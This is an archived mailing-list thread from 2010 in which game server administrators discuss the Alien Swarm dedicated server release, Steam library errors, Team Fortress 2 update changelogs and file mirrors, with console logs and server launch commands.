> >  - Fixed an exploit that allowed team kills with Wrangled sentries.
> >  - Fixed a bug where teleporters could be given more than their normal
> > amount of health.
> >  - Fixed old demos with different data tables thinking the SourceTV
> player
> > entity was burning.
> >  - TF Bot Changes
> > - Improved performance of bot computations that are done when a
point
> > is captured, a round starts, or a checkpoint reached.
> > - Fixed Engineer bot infinite build-destroy behavior loop regression
> > - Fixed Medic bots losing their charge if they touch a resupply
> cabinet
> > - Fixed a crash due to having multiple types of bot

Re: [hlds] Alien Swarm is now available

2010-07-19 Thread Lane Eckley
Read my reply in the other email chain - You need Steam.

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Violent Crimes
Sent: Monday, July 19, 2010 7:07 PM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] Alien Swarm is now available

I'm getting.


*  Unable to load Steam support library.   *
*  This server will operate in LAN mode only.  *


On 7/19/2010 6:33 PM, HL-SDK Synths wrote:
> Ok team, let's start porting sonlme sourcemod!
>
> On Jul 19, 2010 5:29 PM, "Kyle Sanderson"  wrote:
>
> Very late.
>
> Never the less, wish these came in for Mutation updates, as well.
> Kyle.
>
>
> On Mon, Jul 19, 2010 at 2:15 PM, Dominic Marciano
>   wrote:
>
>> Your late Si...
>>  
> ___
> To unsubscribe, edit your list preferences, or view the list archives,
please visit:
> http://list.valvesoftware.com/mailman/listinfo/hlds
>
>
>
> No virus found in this incoming message.
> Checked by AVG - www.avg.com
> Version: 9.0.839 / Virus Database: 271.1.1/3016 - Release Date: 07/19/10
14:36:00
>
>

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Re: [hlds] alien swarm released

2010-07-19 Thread Lane Eckley
Yeh, they need another patch for it before it will be server friendly - In
order to get an internet game you must have steam running on the server
itself.

Not sure about the Linux files, but for windows its holding true.

10.0 fps  0/ 6 on map asi-jac1-landingbay_01
#Console initialized.
#Game.dll loaded for "Alien Swarm: Infested"
#Could not open key values file tilegen/objective_text.txt
NET_GetBindAddresses found *: 'NVIDIA nForce Networking Controller'
Network: IP *, mode MP, dedicated Yes, ports 27015 SV / 27005 CL
Server is hibernating
For FCVAR_REPLICATED, ConVar must be defined in client and game .dlls
(sk_max_as
w_ml)
For FCVAR_REPLICATED, ConVar must be defined in client and game .dlls
(sk_npc_dm
g_asw_ml)
For FCVAR_REPLICATED, ConVar must be defined in client and game .dlls
(sk_plr_dm
g_asw_ml)
maxplayers set to 4
maxplayers set to 6
exec: couldn't exec server.cfg
Unknown command "mat_grain_enable"
Unknown command "mat_local_contrast_enable"
Unknown command "mat_bloomscale"
Unknown command "mat_vignette_enable"
Unknown command "mat_dest_alpha_range"
Unknown command "asw_hear_height"
Unknown command "locator_lerp_rest"
Unknown command "locator_start_at_crosshair"
Unknown command "locator_topdown_style"
Unknown command "locator_background_style"
Unknown command "locator_target_offset_x"
Unknown command "locator_target_offset_y"
Unknown command "locator_background_border_color"
Unknown command "locator_background_border_thickness"
Unknown command "locator_background_color"
Unknown command "locator_background_thickness_x"
Unknown command "locator_icon_max_size_non_ss"
Unknown command "locator_icon_min_size_non_ss"
Unknown command "locator_text_drop_shadow"
Unknown command "locator_text_glow"
Unknown command "locator_text_glow_color"
Unknown command "mat_do_not_shrink_dynamic_vb"
 Host_NewGame 
Host_NewGame on map asi-jac1-landingbay_01
CAlienSwarm created
Skill level changed
Unknown command "scr_centertime"
Script not found (scripts/vscripts/mapspawn.nut)
Level has follow hints 1
couldn't fine any, keyvalues is empty!
SetInitialGameMode to 0 (last variation = 0)
ServiceStart: started as local thread
Unknown command "mat_grain_enable"
Unknown command "mat_local_contrast_enable"
Unknown command "crosshair"
Unknown command "r_flashlight_topdown"
Unknown command "fx_glass_velocity_cap"
Unknown command "cam_idealyaw"
Unknown command "cam_idealpitch"
Unknown command "cam_idealdist"
Unknown command "fov_desired"
Unknown command "c_maxpitch"
Unknown command "c_maxdistance"
Unknown command "cl_interp_ratio"
Could not establish connection to Steam servers.
VAC secure mode is activated.

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Lane Eckley
Sent: Monday, July 19, 2010 5:59 PM
To: 'Half-Life dedicated Win32 server mailing list'
Subject: Re: [hlds] alien swarm released

No worries, finally got the files about 2 minutes ago - troubleshooting now
but already have a good idea of the issue.

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Claudio Beretta
Sent: Monday, July 19, 2010 5:56 PM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] alien swarm released

sorry guys, it was supposed to be private message to Lane Eckley. I need to
sleep
the link is not valid




On Mon, Jul 19, 2010 at 11:54 PM, Claudio Beretta  wrote:

> http://www.toolshape.com/temp/27315ASW.7z
> please don't share the link, but upload to your ftp or anywhere you want
>
>
> On Mon, Jul 19, 2010 at 11:01 PM, Lane Eckley  wrote:
>
>> The server files are coming down quite slow here, if you are able to
>> upload
>> half decently I can setup an FTP for you and then add then to one of the
>> data servers here at GLL.
>>
>> -Lane
>>
>>
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Re: [hlds] alien swarm released

2010-07-19 Thread Lane Eckley
No worries, finally got the files about 2 minutes ago - troubleshooting now
but already have a good idea of the issue.

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Claudio Beretta
Sent: Monday, July 19, 2010 5:56 PM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] alien swarm released

sorry guys, it was supposed to be private message to Lane Eckley. I need to
sleep
the link is not valid




On Mon, Jul 19, 2010 at 11:54 PM, Claudio Beretta  wrote:

> http://www.toolshape.com/temp/27315ASW.7z
> please don't share the link, but upload to your ftp or anywhere you want
>
>
> On Mon, Jul 19, 2010 at 11:01 PM, Lane Eckley  wrote:
>
>> The server files are coming down quite slow here, if you are able to
>> upload
>> half decently I can setup an FTP for you and then add then to one of the
>> data servers here at GLL.
>>
>> -Lane
>>
>>
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Re: [hlds] alien swarm released

2010-07-19 Thread Lane Eckley
The server files are coming down quite slow here, if you are able to upload
half decently I can setup an FTP for you and then add then to one of the
data servers here at GLL.

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Claudio Beretta
Sent: Monday, July 19, 2010 4:59 PM
To: Half-Life dedicated Win32 server mailing list;
hlds-requ...@list.valvesoftware.com
Subject: Re: [hlds] alien swarm released

Just finished downloading the server (the client is still at 10%), i
was going to 7zip it and upload somewhere but there are 2GB of server
files (they included all materials and other client crap), might take
a while, not sure if it makes sense

With this nice command line you can manage to run a lan alien swarm server
-.-

srcds.exe -game swarm -console +ip 194.177.97.103 -port 27315
+maxplayers 33 +tv_port 27316 +clientport 27317 +exec server.cfg +map
asijac6-sewerjunction


#Console initialized.
#Game.dll loaded for "Alien Swarm: Infested"
#Could not open key values file tilegen/objective_text.txt
NET_GetBindAddresses found 194.177.97.103: 'Realtek PCIe GBE Family
Controller'
Network: IP 194.177.97.103, mode MP, dedicated Yes, ports 27315 SV / 27005
CL
Server is hibernating
For FCVAR_REPLICATED, ConVar must be defined in client and game .dlls
(sk_max_as
w_ml)
For FCVAR_REPLICATED, ConVar must be defined in client and game .dlls
(sk_npc_dm
g_asw_ml)
For FCVAR_REPLICATED, ConVar must be defined in client and game .dlls
(sk_plr_dm
g_asw_ml)
maxplayers set to 4
maxplayers set to 6
exec: couldn't exec server.cfg
Unknown command "mat_grain_enable"
Unknown command "mat_local_contrast_enable"
Unknown command "mat_bloomscale"
Unknown command "mat_vignette_enable"
Unknown command "mat_dest_alpha_range"
Unknown command "asw_hear_height"
Unknown command "locator_lerp_rest"
Unknown command "locator_start_at_crosshair"
Unknown command "locator_topdown_style"
Unknown command "locator_background_style"
Unknown command "locator_target_offset_x"
Unknown command "locator_target_offset_y"
Unknown command "locator_background_border_color"
Unknown command "locator_background_border_thickness"
Unknown command "locator_background_color"
Unknown command "locator_background_thickness_x"
Unknown command "locator_icon_max_size_non_ss"
Unknown command "locator_icon_min_size_non_ss"
Unknown command "locator_text_drop_shadow"
Unknown command "locator_text_glow"
Unknown command "locator_text_glow_color"
Unknown command "mat_do_not_shrink_dynamic_vb"
 Host_NewGame 
Host_NewGame on map asi-jac6-sewerjunction
CAlienSwarm created
Skill level changed
Unknown command "scr_centertime"
Script not found (scripts/vscripts/mapspawn.nut)
Level has follow hints 1
couldn't fine any, keyvalues is empty!
SetInitialGameMode to 0 (last variation = 0)

*  Unable to load Steam support library.   *
*  This server will operate in LAN mode only.  *

Unknown command "mat_grain_enable"
Unknown command "mat_local_contrast_enable"
Unknown command "crosshair"
Unknown command "r_flashlight_topdown"
Unknown command "fx_glass_velocity_cap"
Unknown command "cam_idealyaw"
Unknown command "cam_idealpitch"
Unknown command "cam_idealdist"
Unknown command "fov_desired"
Unknown command "c_maxpitch"
Unknown command "c_maxdistance"
Unknown command "cl_interp_ratio"
Unable to load Steam library.





On 7/19/10, Claudio Beretta  wrote:
> since no announcement mail was made...
>
> http://store.steampowered.com/app/630/
>
> HldsUpdateTool.exe -command update -game alienswarm -dir .
>


-- 
--
http://www.jockersoft.com
http://www.wantedgov.it

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Re: [hlds] alien swarm released

2010-07-19 Thread Lane Eckley
I feel bad for you guys, grabbing it at 2.0MB/s :P

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Michael Krasnow
Sent: Monday, July 19, 2010 4:57 PM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] alien swarm released

:'( need moar bandwidth whats your location? anything is faster than
0kb/s :P

On Mon, Jul 19, 2010 at 4:52 PM, Dominic Marciano
wrote:

>
> I'm downloading.. at 150kbps...D:
>
> > Date: Mon, 19 Jul 2010 16:50:28 -0400
> > From: mnk...@gmail.com
> > To: hlds@list.valvesoftware.com
> > Subject: Re: [hlds] alien swarm released
> >
> > your my new favorite person :)
> >
> > but... STEAM is apparently too busy to handle my request
> >
> > On Mon, Jul 19, 2010 at 4:40 PM, Dominic Marciano
> > wrote:
> >
> > >
> > > Was waiting for this
> > >
> > > > From: kyle.l...@gmail.com
> > > > Date: Mon, 19 Jul 2010 13:36:53 -0700
> > > > To: hlds@list.valvesoftware.com
> > > > Subject: Re: [hlds] alien swarm released
> > > >
> > > > I love you.
> > > >
> > > > Thanks,
> > > > Kyle.
> > > >
> > > > On Mon, Jul 19, 2010 at 1:30 PM, Claudio Beretta
> > > >  wrote:
> > > > > since no announcement mail was made...
> > > > >
> > > > > http://store.steampowered.com/app/630/
> > > > >
> > > > > HldsUpdateTool.exe -command update -game alienswarm -dir .
> > > > > ___
> > > > > To unsubscribe, edit your list preferences, or view the list
> archives,
> > > please visit:
> > > > > http://list.valvesoftware.com/mailman/listinfo/hlds
> > > > >
> > > >
> > > > ___
> > > > To unsubscribe, edit your list preferences, or view the list
> archives,
> > > please visit:
> > > > http://list.valvesoftware.com/mailman/listinfo/hlds
> > >
> > > _
> > > If It Exists, You'll Find it on SEEK. Australia's #1 job site
> > > http://clk.atdmt.com/NMN/go/157639755/direct/01/
> > > ___
> > > To unsubscribe, edit your list preferences, or view the list archives,
> > > please visit:
> > > http://list.valvesoftware.com/mailman/listinfo/hlds
> > >
> >
> >
> >
> > --
> > Michael Krasnow
> > http://mnkras.com
> > mnk...@gmail.com
> > ___
> > To unsubscribe, edit your list preferences, or view the list archives,
> please visit:
> > http://list.valvesoftware.com/mailman/listinfo/hlds
>
> _
> New, Used, Demo, Dealer or Private? Find it at CarPoint.com.au
> http://clk.atdmt.com/NMN/go/206222968/direct/01/
> ___
> To unsubscribe, edit your list preferences, or view the list archives,
> please visit:
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>



-- 
Michael Krasnow
http://mnkras.com
mnk...@gmail.com
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Re: [hlds] Team Fortress 2 Update Available

2010-07-13 Thread Lane Eckley
I can see about setting up a VM when I get time so I can grab those too, but
that won't be for at least day or so :/

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of HL-SDK Synths
Sent: Tuesday, July 13, 2010 8:19 PM
To: Half-Life dedicated Win32 server mailing list
Cc: hlds_annou...@list.valvesoftware.com; Half-Life dedicated Linux server
mailing list
Subject: Re: [hlds] Team Fortress 2 Update Available

Thx lane, does anyone also privately host Linux server updates too?

On Jul 13, 2010 8:17 PM, "Lane Eckley"  wrote:

Update Download:
http://gs.gamerslifeline.com/team-fortress-2-windows-server-3/ - In case
anyone needs it.

-Lane


-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valv...
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Re: [hlds] Team Fortress 2 Update Available

2010-07-13 Thread Lane Eckley
Update Download:
http://gs.gamerslifeline.com/team-fortress-2-windows-server-3/ - In case
anyone needs it.

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Jason Ruymen
Sent: Tuesday, July 13, 2010 7:51 PM
To: 'Half-Life dedicated Linux server mailing list';
'hlds@list.valvesoftware.com'; 'hlds_annou...@list.valvesoftware.com'
Subject: [hlds] Team Fortress 2 Update Available

A required update to Team Fortress 2 is now available.  Please run
hldsupdatetool to receive the update.  The specific changes include:

Engine:
 - Increased the resilience of client/server data table mismatches when
playing back demos. This will make most old demo files playable again, but
with potential visual side effects.

Team Fortress 2:
 - Updated CP_Coldfront
  - Added map to the default mapcycle and motd files.
  - Fixed a server crash issue related to increased maxplayer servers.
  - Fixed a couple Engineer building exploits.
 - Updated the localization files.
 - Improved the performance of the critboost particle effect.
 - Fixed a server crash related to carrying buildings at round start.
 - Fixed players picking up buildings before a round has started.
 - Fixed an exploit where Engineers could create level 3 mini-sentries.

Jason


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Re: [hlds] Sourcetv making an extra slot

2010-07-12 Thread Lane Eckley
Fix? - That is how it is supposed to work.

SourceTV makes one more slot for itself to connect to the server. I am
guessing your host only allows you to have a certain slot count and this is
causing an issue? Set the server slot count via the server.cfg to one less
and you will be set.

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Niels Meijer
Sent: Monday, July 12, 2010 1:53 PM
To: 'Half-Life dedicated Win32 server mailing list'
Subject: [hlds] Sourcetv making an extra slot

Hello, im not sure if there already is an answer for this. And sorry if so,
and im annoyin you.Hello, im not sure if there already is an answer for
this. And sorry if so, and im annoying you.

But my sourcetv makes an extra slot instead of using a normal one...

Is there already a fix for this. or some kind of command?

 

Thanks in advance J

Niels

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Re: [hlds] Team Fortress 2 Update Available

2010-07-09 Thread Lane Eckley
Server Update:
http://fortress01.chicago.gamerslifeline.com/first-person-shooters/team-fort
ress-2/server/Team-Fortress-2-Windows-Server-160-Update-Only.zip

16.36MB

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Joshua
'Dislexsick' Bost
Sent: Friday, July 09, 2010 9:02 PM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] Team Fortress 2 Update Available

Just server. Client files will be downloaded then the community will take
care of distributing them among themselves.

Sent from my iPhone

On 10/07/2010, at 10:19 AM, "Lane Eckley"  wrote:

> Are you needing the client or server?
> 
> Assuming server?
> 
> -Lane
> 
> -Original Message-
> From: hlds-boun...@list.valvesoftware.com
> [mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Joshua
> 'Dislexsick' Bost
> Sent: Friday, July 09, 2010 8:49 PM
> To: Half-Life dedicated Win32 server mailing list
> Subject: Re: [hlds] Team Fortress 2 Update Available
> 
> Is anybody able to tell me how big the files are and\or provide a zip of
> them.  Currently away from a LAN party with 500 people sitting on a single
> 8mb connection trying to update tf2 and I have 6 servers running :S
> 
> Sent from my iPhone
> 
> On 10/07/2010, at 10:14 AM, "DontWannaName!" 
wrote:
> 
>> I got all the files but it simply didnt list them. I double checked with
>> verify all too.
>> 
>> On Fri, Jul 9, 2010 at 5:39 PM, Lane Eckley  wrote:
>> 
>>> Yeh, I ran the update 4 times, got new files on the first three - in
case
>>> anyone else sees this.
>>> 
>>> -Lane
>>> 
>>> -Original Message-
>>> From: hlds-boun...@list.valvesoftware.com
>>> [mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of DontWannaName!
>>> Sent: Friday, July 09, 2010 8:36 PM
>>> To: Half-Life dedicated Win32 server mailing list
>>> Subject: Re: [hlds] Team Fortress 2 Update Available
>>> 
>>> Its not 2 files. It only showed 3 for me. It actually updated 20 files.
> :D
>>> 
>>> On Fri, Jul 9, 2010 at 5:32 PM, Lane Eckley  wrote:
>>> 
>>>> Same here - downloaded 2 files and were dead.
>>>> 
>>>> -Lane
>>>> 
>>>> -Original Message-
>>>> From: hlds-boun...@list.valvesoftware.com
>>>> [mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Jonah Hirsch
>>>> Sent: Friday, July 09, 2010 8:30 PM
>>>> To: Half-Life dedicated Win32 server mailing list
>>>> Subject: Re: [hlds] Team Fortress 2 Update Available
>>>> 
>>>> D'oh. My windows server will NOT start, even without any addons.
>>>> Jonah Hirsch
>>>> ---
>>>> 
>>>> 
>>>> On Fri, Jul 9, 2010 at 5:23 PM, Jonah Hirsch 
>>>> wrote:
>>>> 
>>>>> No balancing on the movable buildings? :P
>>>>> 
>>>>> Nonetheless, nice fixes. "Fixed a server crash in the player death
>>> code,
>>>>> related to building carrying." might actually fix a crash related to a
>>>>> sourcemod plugin I was experiencing!
>>>>> Jonah Hirsch
>>>>> ---
>>>>> 
>>>>> 
>>>>> 
>>>>> On Fri, Jul 9, 2010 at 5:21 PM, Craig H  wrote:
>>>>> 
>>>>>> Nice, thanks.
>>>>>> 
>>>>>> On Fri, Jul 9, 2010 at 5:16 PM, Jason Ruymen <
>>> jas...@valvesoftware.com
>>>>>>> wrote:
>>>>>> 
>>>>>>> A required update for Team Fortress 2 is now available.  Please run
>>>>>>> hldsupdatetool to receive the update.  The specific changes include:
>>>>>>> 
>>>>>>> 
>>>>>>> Team Fortress 2
>>>>>>> 
>>>>>>> - Fixed an exploit that allowed Engineers to build level 2/3 mini
>>>>>>> sentries.
>>>>>>> 
>>>>>>> - Fixed a bug that allowed sapped buildings to be picked up by the
>>>>>>> Engineer.
>>>>>>> 
>>>>>>> - Fixed a bug where Wrangled level 3 sentryguns would still fire
>>>>>> rockets
>>>>>>> when they were out of ammo.
>>>>>>> 
>>>>>>> - Fixed a bug where players would go into reference poses when
>>>&

Re: [hlds] Team Fortress 2 Update Available

2010-07-09 Thread Lane Eckley
Im not sure how to go about doing the client, however I will take care of
the server files soon as I have them all down on this dev box.

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of David Hurren
Sent: Friday, July 09, 2010 8:54 PM
To: 'Half-Life dedicated Win32 server mailing list'
Subject: Re: [hlds] Team Fortress 2 Update Available

He will need both as it's a required update

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Lane Eckley
Sent: 10 July 2010 01:50
To: 'Half-Life dedicated Win32 server mailing list'
Subject: Re: [hlds] Team Fortress 2 Update Available

Are you needing the client or server?

Assuming server?

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Joshua
'Dislexsick' Bost
Sent: Friday, July 09, 2010 8:49 PM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] Team Fortress 2 Update Available

Is anybody able to tell me how big the files are and\or provide a zip of
them.  Currently away from a LAN party with 500 people sitting on a single
8mb connection trying to update tf2 and I have 6 servers running :S

Sent from my iPhone

On 10/07/2010, at 10:14 AM, "DontWannaName!"  wrote:

> I got all the files but it simply didnt list them. I double checked 
> with verify all too.
> 
> On Fri, Jul 9, 2010 at 5:39 PM, Lane Eckley  wrote:
> 
>> Yeh, I ran the update 4 times, got new files on the first three - in 
>> case anyone else sees this.
>> 
>> -Lane
>> 
>> -Original Message-
>> From: hlds-boun...@list.valvesoftware.com
>> [mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of DontWannaName!
>> Sent: Friday, July 09, 2010 8:36 PM
>> To: Half-Life dedicated Win32 server mailing list
>> Subject: Re: [hlds] Team Fortress 2 Update Available
>> 
>> Its not 2 files. It only showed 3 for me. It actually updated 20 files.
:D
>> 
>> On Fri, Jul 9, 2010 at 5:32 PM, Lane Eckley  wrote:
>> 
>>> Same here - downloaded 2 files and were dead.
>>> 
>>> -Lane
>>> 
>>> -Original Message-
>>> From: hlds-boun...@list.valvesoftware.com
>>> [mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Jonah 
>>> Hirsch
>>> Sent: Friday, July 09, 2010 8:30 PM
>>> To: Half-Life dedicated Win32 server mailing list
>>> Subject: Re: [hlds] Team Fortress 2 Update Available
>>> 
>>> D'oh. My windows server will NOT start, even without any addons.
>>> Jonah Hirsch
>>> ---
>>> 
>>> 
>>> On Fri, Jul 9, 2010 at 5:23 PM, Jonah Hirsch 
>>> wrote:
>>> 
>>>> No balancing on the movable buildings? :P
>>>> 
>>>> Nonetheless, nice fixes. "Fixed a server crash in the player death
>> code,
>>>> related to building carrying." might actually fix a crash related 
>>>> to a sourcemod plugin I was experiencing!
>>>> Jonah Hirsch
>>>> ---
>>>> 
>>>> 
>>>> 
>>>> On Fri, Jul 9, 2010 at 5:21 PM, Craig H  wrote:
>>>> 
>>>>> Nice, thanks.
>>>>> 
>>>>> On Fri, Jul 9, 2010 at 5:16 PM, Jason Ruymen <
>> jas...@valvesoftware.com
>>>>>> wrote:
>>>>> 
>>>>>> A required update for Team Fortress 2 is now available.  Please 
>>>>>> run hldsupdatetool to receive the update.  The specific changes
include:
>>>>>> 
>>>>>> 
>>>>>> Team Fortress 2
>>>>>> 
>>>>>> - Fixed an exploit that allowed Engineers to build level 2/3 mini 
>>>>>> sentries.
>>>>>> 
>>>>>> - Fixed a bug that allowed sapped buildings to be picked up by 
>>>>>> the Engineer.
>>>>>> 
>>>>>> - Fixed a bug where Wrangled level 3 sentryguns would still fire
>>>>> rockets
>>>>>> when they were out of ammo.
>>>>>> 
>>>>>> - Fixed a bug where players would go into reference poses when
>>>>> switching
>>>>>> classes while carrying a building.
>>>>>> 
>>>>>> - Fixed seeing the changeclass label in the spectator HUD when
>> using
>>>>>> cl_hud_minmode.
>>>>>> 
>>>>>> - The amo

Re: [hlds] Team Fortress 2 Update Available

2010-07-09 Thread Lane Eckley
Are you needing the client or server?

Assuming server?

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Joshua
'Dislexsick' Bost
Sent: Friday, July 09, 2010 8:49 PM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] Team Fortress 2 Update Available

Is anybody able to tell me how big the files are and\or provide a zip of
them.  Currently away from a LAN party with 500 people sitting on a single
8mb connection trying to update tf2 and I have 6 servers running :S

Sent from my iPhone

On 10/07/2010, at 10:14 AM, "DontWannaName!"  wrote:

> I got all the files but it simply didnt list them. I double checked with
> verify all too.
> 
> On Fri, Jul 9, 2010 at 5:39 PM, Lane Eckley  wrote:
> 
>> Yeh, I ran the update 4 times, got new files on the first three - in case
>> anyone else sees this.
>> 
>> -Lane
>> 
>> -Original Message-
>> From: hlds-boun...@list.valvesoftware.com
>> [mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of DontWannaName!
>> Sent: Friday, July 09, 2010 8:36 PM
>> To: Half-Life dedicated Win32 server mailing list
>> Subject: Re: [hlds] Team Fortress 2 Update Available
>> 
>> Its not 2 files. It only showed 3 for me. It actually updated 20 files.
:D
>> 
>> On Fri, Jul 9, 2010 at 5:32 PM, Lane Eckley  wrote:
>> 
>>> Same here - downloaded 2 files and were dead.
>>> 
>>> -Lane
>>> 
>>> -Original Message-
>>> From: hlds-boun...@list.valvesoftware.com
>>> [mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Jonah Hirsch
>>> Sent: Friday, July 09, 2010 8:30 PM
>>> To: Half-Life dedicated Win32 server mailing list
>>> Subject: Re: [hlds] Team Fortress 2 Update Available
>>> 
>>> D'oh. My windows server will NOT start, even without any addons.
>>> Jonah Hirsch
>>> ---
>>> 
>>> 
>>> On Fri, Jul 9, 2010 at 5:23 PM, Jonah Hirsch 
>>> wrote:
>>> 
>>>> No balancing on the movable buildings? :P
>>>> 
>>>> Nonetheless, nice fixes. "Fixed a server crash in the player death
>> code,
>>>> related to building carrying." might actually fix a crash related to a
>>>> sourcemod plugin I was experiencing!
>>>> Jonah Hirsch
>>>> ---
>>>> 
>>>> 
>>>> 
>>>> On Fri, Jul 9, 2010 at 5:21 PM, Craig H  wrote:
>>>> 
>>>>> Nice, thanks.
>>>>> 
>>>>> On Fri, Jul 9, 2010 at 5:16 PM, Jason Ruymen <
>> jas...@valvesoftware.com
>>>>>> wrote:
>>>>> 
>>>>>> A required update for Team Fortress 2 is now available.  Please run
>>>>>> hldsupdatetool to receive the update.  The specific changes include:
>>>>>> 
>>>>>> 
>>>>>> Team Fortress 2
>>>>>> 
>>>>>> - Fixed an exploit that allowed Engineers to build level 2/3 mini
>>>>>> sentries.
>>>>>> 
>>>>>> - Fixed a bug that allowed sapped buildings to be picked up by the
>>>>>> Engineer.
>>>>>> 
>>>>>> - Fixed a bug where Wrangled level 3 sentryguns would still fire
>>>>> rockets
>>>>>> when they were out of ammo.
>>>>>> 
>>>>>> - Fixed a bug where players would go into reference poses when
>>>>> switching
>>>>>> classes while carrying a building.
>>>>>> 
>>>>>> - Fixed seeing the changeclass label in the spectator HUD when
>> using
>>>>>> cl_hud_minmode.
>>>>>> 
>>>>>> - The amount of revenge crits a player can have at one time is now
>>>>> capped
>>>>>> at 35.
>>>>>> 
>>>>>> - The Wrangler no longer shows the shotgun's ammo count.
>>>>>> 
>>>>>> - Engineers can no longer pick up buildings while stunned or in
>> loser
>>>>>> state.
>>>>>> 
>>>>>> - Fixed Engineer shotgun and piston not using team skins for the
>>>>>> Engineer's arms.
>>>>>> 
>>>>>> - Fixed an issue where Wrangled sentrygun effects wouldn't be
>>> attached
>>>>> to
>>>>>> the sentrygun.
>>>>

Re: [hlds] Team Fortress 2 Update Available

2010-07-09 Thread Lane Eckley
Checking bootstrapper version ...
Updating Installation
Updating 'Team Fortress 2 Content' from version 159 to version 160
13.61% downloading /orangebox\tf\bin\server.dll
35.05% downloading /orangebox\tf\bin\server.dylib
71.27% downloading /orangebox\tf\bin\server.so
85.88% downloading /orangebox\tf\maps\graphs\ctf_2fort.ain
91.15% downloading /orangebox\tf\models\player\engineer_animations.mdl
91.89% downloading /orangebox\tf\resource\tf_english.txt
91.89% downloading /orangebox\tf\scripts\tf_weapon_laser_pointer.ctx
91.90% downloading /orangebox\tf\scripts\tf_weapon_pistol.ctx
91.90% downloading /orangebox\tf\scripts\tf_weapon_shotgun_primary.ctx
91.90% downloading /orangebox\tf\steam.inf
Updating 'Team Fortress 2 Materials' from version 65 to version 66
91.90% downloading /orangebox\tf\materials\effects\sc_softglow.vmt
Checking/Installing 'Base Source Shared Materials' version 8
Checking/Installing 'Base Source Shared Models' version 4
Checking/Installing 'Base Source Shared Sounds' version 4
Updating 'OB Dedicated Server' from version 49 to version 50
100.00% downloading /orangebox\bin\engine.dll
HLDS installation up to date

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Kevin b er
Sent: Friday, July 09, 2010 8:41 PM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] Team Fortress 2 Update Available

Here's a list of the files we just got.  Sorry that the messages about the
version info aren't here.

13.61%  downloading ./orangebox\tf\bin\server.dll
35.05%  downloading ./orangebox\tf\bin\server.dylib
71.27%  downloading ./orangebox\tf\bin\server.so
91.15%  downloading ./orangebox\tf\models\player\engineer_animations.mdl
91.89%  downloading ./orangebox\tf\resource\tf_english.txt
91.89%  downloading ./orangebox\tf\scripts\tf_weapon_laser_pointer.ctx
91.90%  downloading ./orangebox\tf\scripts\tf_weapon_pistol.ctx
91.90%  downloading ./orangebox\tf\scripts\tf_weapon_shotgun_primary.ctx
91.90%  downloading ./orangebox\tf\steam.inf
91.90%  downloading ./orangebox\tf\materials\effects\sc_softglow.vmt
100.00% downloading ./orangebox\bin\engine.dll

On Fri, Jul 9, 2010 at 7:35 PM, DontWannaName!
wrote:

> Its not 2 files. It only showed 3 for me. It actually updated 20 files. :D
>
> On Fri, Jul 9, 2010 at 5:32 PM, Lane Eckley  wrote:
>
> > Same here - downloaded 2 files and were dead.
> >
> > -Lane
> >
> > -Original Message-
> > From: hlds-boun...@list.valvesoftware.com
> > [mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Jonah Hirsch
> > Sent: Friday, July 09, 2010 8:30 PM
> > To: Half-Life dedicated Win32 server mailing list
> > Subject: Re: [hlds] Team Fortress 2 Update Available
> >
> > D'oh. My windows server will NOT start, even without any addons.
> > Jonah Hirsch
> > ---
> >
> >
> > On Fri, Jul 9, 2010 at 5:23 PM, Jonah Hirsch 
> > wrote:
> >
> > > No balancing on the movable buildings? :P
> > >
> > > Nonetheless, nice fixes. "Fixed a server crash in the player death
> code,
> > > related to building carrying." might actually fix a crash related to a
> > > sourcemod plugin I was experiencing!
> > >  Jonah Hirsch
> > > ---
> > >
> > >
> > >
> > > On Fri, Jul 9, 2010 at 5:21 PM, Craig H  wrote:
> > >
> > >> Nice, thanks.
> > >>
> > >> On Fri, Jul 9, 2010 at 5:16 PM, Jason Ruymen <
> jas...@valvesoftware.com
> > >> >wrote:
> > >>
